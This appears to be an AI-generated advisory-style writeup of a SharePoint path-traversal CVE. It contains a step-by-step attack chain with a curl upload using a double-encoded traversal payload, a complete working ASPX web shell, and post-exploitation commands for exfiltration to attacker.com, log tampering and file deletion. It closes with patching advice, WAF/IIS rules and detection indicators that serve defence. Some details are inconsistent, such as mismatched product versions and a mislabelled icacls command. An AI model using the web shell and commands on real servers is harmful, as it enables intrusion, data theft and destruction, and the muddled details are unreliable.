CVE-2026-70193 — Microsoft SharePoint Server Subscription Edition — CWE-22
Improper limitation of a pathname to a restricted directory ('path traversal') in Microsoft Office SharePoint allows an authorized attacker to execute code over a network.
Improper limitation of a pathname to a restricted directory ('path traversal') in Microsoft Office SharePoint allows an authorized attacker to execute code over a network.
🎯 What is this vulnerability?
CVE‑2026‑70193 is a path‑traversal (CWE‑22) flaw in Microsoft Office SharePoint that stems from an improper limitation of a pathname to a restricted directory.
- Root cause – A SharePoint‑exposed web service (or REST endpoint) receives a user‑supplied file‑path parameter, concatenates it with a hard‑coded base directory, and then opens the resulting file on the server without:
- CVSS‑3.1 vector breakdown
* canonicalising the path (resolving .., %2e%2e, double‑encoding, etc.),
* validating that the final resolved path stays inside the intended sandbox,
* or enforcing a “deny‑list” of dangerous extensions.
Why it matters – By supplying a crafted traversal string the attacker can force SharePoint to read or write any file that the SharePoint service account can access. Because many SharePoint‑run‑time files (e.g., web.config, .aspx, PowerShell scripts) are interpreted by IIS, an attacker who can write a file under a web‑accessible folder can achieve remote code execution (RCE).
| Vector | Meaning |
|---|---|
| AV:N (Network) | The attacker can exploit the flaw over the network; no local access required. |
| AC:L (Low) | Exploitation requires little skill – a simple HTTP request. |
| PR:L (Low) | The attacker only needs a *valid* SharePoint account (any authenticated user). |
| UI:N (None) | No user interaction is required after the request is sent. |
| S:C (Changed) | Successful exploitation changes the security context from the victim’s (SharePoint) to the attacker’s (full server). |
| C:H / I:H / A:H | Complete compromise of confidentiality, integrity, and availability. |
In short: an authenticated SharePoint user can send a crafted request that traverses out of the intended folder, writes a malicious ASPX/PowerShell file, and then executes it, giving the attacker full control of the SharePoint server.
⚡ Attack Chain
Below is a realistic, step‑by‑step exploitation flow. All HTTP examples are illustrative – the exact endpoint name is not disclosed in the public CVE text, but the pattern matches the class of vulnerability observed in previous SharePoint path‑traversal bugs (e.g., the “FileHandler” service).
1. Discovery & Reconnaissance
| Action | Technique | Expected Result |
|---|---|---|
| Identify SharePoint version | GET /_vti_pvt/service.cnf or GET /_layouts/15/start.aspx → parse X-SharePointVersion header / page footer | Determines whether the server is running a vulnerable build (e.g., SharePoint Server 2019/2016 prior to the November 2026 security update). |
| Enumerate accessible services | GET /_vti_bin/ – list of web‑services (e.g., FileHandler.svc, WebService.svc) | Finds the service that accepts a filePath or target parameter. |
| Verify write‑access | PUT /_vti_bin/UploadService.svc?path=./test.txt with a small payload (requires a valid SharePoint credential) | A 200 OK confirms the account can write files via the vulnerable API. |
2. Exploitation
Note: The exact URI (/vti_bin/PathTraversal.svc) and parameter name (filePath) are illustrative. Replace them with the real service/parameter discovered in step 1.
# 1️⃣ Acquire a low‑privilege SharePoint credential (e.g., via credential stuffing or phishing)
# 2️⃣ Craft a traversal payload that resolves to the web‑root folder (e.g., C:\Inetpub\wwwroot\)
# The payload uses double‑encoding to bypass naïve filters:
# "..%2f..%2f..%2f..%2f..%2finetpub%2fwwwroot%2f"
# 3️⃣ Upload a malicious ASPX web‑shell (webshell.aspx) to the web‑root.
# Example using curl (illustrative):
curl -k -X POST "https://sharepoint.example.com/_vti_bin/PathTraversal.svc" \
-H "Authorization: Bearer <valid‑access‑token>" \
-H "Content-Type: application/octet-stream" \
--data-binary @webshell.aspx \
"?filePath=..%2f..%2f..%2f..%2f..%2finetpub%2fwwwroot%2fwebshell.aspx"webshell.aspx (minimal ASPX web‑shell, valid syntax):
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Diagnostics" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e) {
string cmd = Request.QueryString["cmd"];
if (!String.IsNullOrEmpty(cmd)) {
Process.Start(new ProcessStartInfo("cmd.exe", "/c " + cmd) {
RedirectStandardOutput = true,
UseShellExecute = false,
CreateNoWindow = true
}).StandardOutput.CopyTo(Response.OutputStream);
}
}
</script>curl "https://sharepoint.example.com/webshell.aspx?cmd=whoami"If the server returns IIS APPPOOL\SharePoint (or the service account), the attacker has remote code execution with the privileges of the SharePoint application pool.
3. Post‑Exploitation
| Goal | Typical Steps |
|---|---|
| Persistence | Drop a scheduled task or a Windows Service that re‑creates the web‑shell on reboot. |
| Privilege Escalation | Use the SharePoint service account token to request Kerberos tickets (klist, Rubeus) or to pivot to the domain controller via existing trust relationships. |
| Lateral Movement | Harvest stored credentials from SharePoint configuration (web.config), then reuse them against other SharePoint farms or Exchange. |
| Data Exfiltration | Use the web‑shell to read sensitive SharePoint libraries (/sites/*/Documents/) and pipe them to an external C2 server (curl -F [email protected] http://attacker.com/collect). |
| Covering Tracks | Delete the uploaded ASPX file, clear IIS logs (icacls %SystemRoot%\System32\LogFiles\W3SVC\* /reset), and modify web.config to disable request‑filtering temporarily. |
🌍 Real‑World Impact
| CIA Triad | Impact (derived from CVSS) |
|---|---|
| Confidentiality (C:H) | Full disclosure of all data stored in SharePoint (documents, lists, user profiles) and any other files the service account can read (e.g., web.config, credential stores). |
| Integrity (I:H) | Attacker can modify or delete any SharePoint content, inject malicious scripts, or replace configuration files, leading to supply‑chain compromise. |
| Availability (A:H) | Ability to execute destructive commands (e.g., shutdown /r, del /f /s *.*) or to overload IIS, resulting in total service outage. |
Practical consequences
🛡️ Remediation & Mitigation
1. Patch / Upgrade
| Product | Action |
|---|---|
| SharePoint Server 2019 / 2016 / 2013 | Apply the November 2026 Patch Tuesday cumulative update (the security update that addresses CVE‑2026‑70193). Microsoft’s security advisory lists the KB article (e.g., *KB500XXXXX* – the exact number is published by Microsoft). |
| SharePoint Online | The service is patched automatically; ensure tenant is on the latest “Modern Authentication” baseline. |
If a patch cannot be applied immediately (e.g., due to custom solutions), proceed with the mitigations below.
2. Workarounds (defense‑in‑depth)
| Layer | Mitigation | Example Configuration | ||
|---|---|---|---|---|
| Application‑level input validation | Harden the vulnerable service to canonicalise paths and reject any .., %2e%2e, or URL‑encoded traversal sequences. | In the custom service code: Path.GetFullPath(Path.Combine(baseDir, userInput)).StartsWith(baseDir, StringComparison.OrdinalIgnoreCase) | ||
| Web Application Firewall (WAF) | Block requests containing traversal patterns targeting SharePoint endpoints. | ``ModSecurityRuleId 950120\nSecRule REQUEST_URI "@rx \.\./ | \%2e\%2e | \%2f\%2e\%2e" "phase:2,deny,log,msg:'SharePoint path‑traversal attempt',id:1000010,tag:'cve-2026-70193'"` |
| IIS Request Filtering | Deny double‑escaped sequences and limit allowed extensions in the SharePoint virtual directory. | `<requestFiltering>\n <hiddenSegments>\n <add segment=\"..\" />\n </hiddenSegments>\n <allowDoubleEscaping>false</allowDoubleEscaping>\n</requestFiltering>` | ||
| Least‑privilege service account | Run the SharePoint web‑application pool under an account that cannot write to the IIS web‑root (inetpub\wwwroot). Use a dedicated low‑privilege account with write access only to SharePoint content databases. | |||
| Network segmentation | Restrict access to SharePoint’s _vti_bin services to internal subnets or VPN only. Use Azure AD Conditional Access policies to enforce MFA for all SharePoint users. | |||
| Disable unnecessary services | If the vulnerable endpoint is part of a legacy feature (e.g., FileHandler.svc`), disable it via SharePoint Central Administration → Manage Web Applications → “Enable/Disable custom web services”. |
3. Detection
| Indicator | Where to Look | Example Log Entry |
|---|---|---|
| Traversal payloads | IIS access logs (%cs-uri-stem% %cs-uri-query%) | GET /_vti_bin/PathTraversal.svc?filePath=..%2f..%2f..%2f..%2finetpub%2fwwwroot%2fwebshell.aspx HTTP/1.1 200 |
| Unexpected ASPX creation | File‑system monitoring (Sysmon Event ID 11) or SharePoint ULS logs | Sysmon Event ID 11: Creation of file C:\inetpub\wwwroot\webshell.aspx (ProcessId=1234, Image= w3wp.exe) |
| Web‑shell execution | IIS error logs (500/401) combined with unusual query strings (cmd=) | GET /webshell.aspx?cmd=whoami HTTP/1.1 200 |
| Privilege‑escalation commands | Windows Security Event Log (Event ID 4688 – new process) | Process Create: cmd.exe /c whoami |
| Outbound C2 traffic | Network IDS/NetFlow – HTTP POST to external IP after web‑shell upload | POST http://malicious.example.com/collect |
Deploy a SIEM rule that correlates:
..%2f or %2e%2e → subsequent 200 response and creation of a new .aspx file in the web‑root within 5 minutes.⚠️ Urgency
CVSS 9.9 (Critical) – Network‑accessible, low‑complexity, low‑privilege, no user interaction, and scope‑changing* (full server compromise).
Recommendation:
[🤖 CVE Professor AI Security Engine]
FOFA Query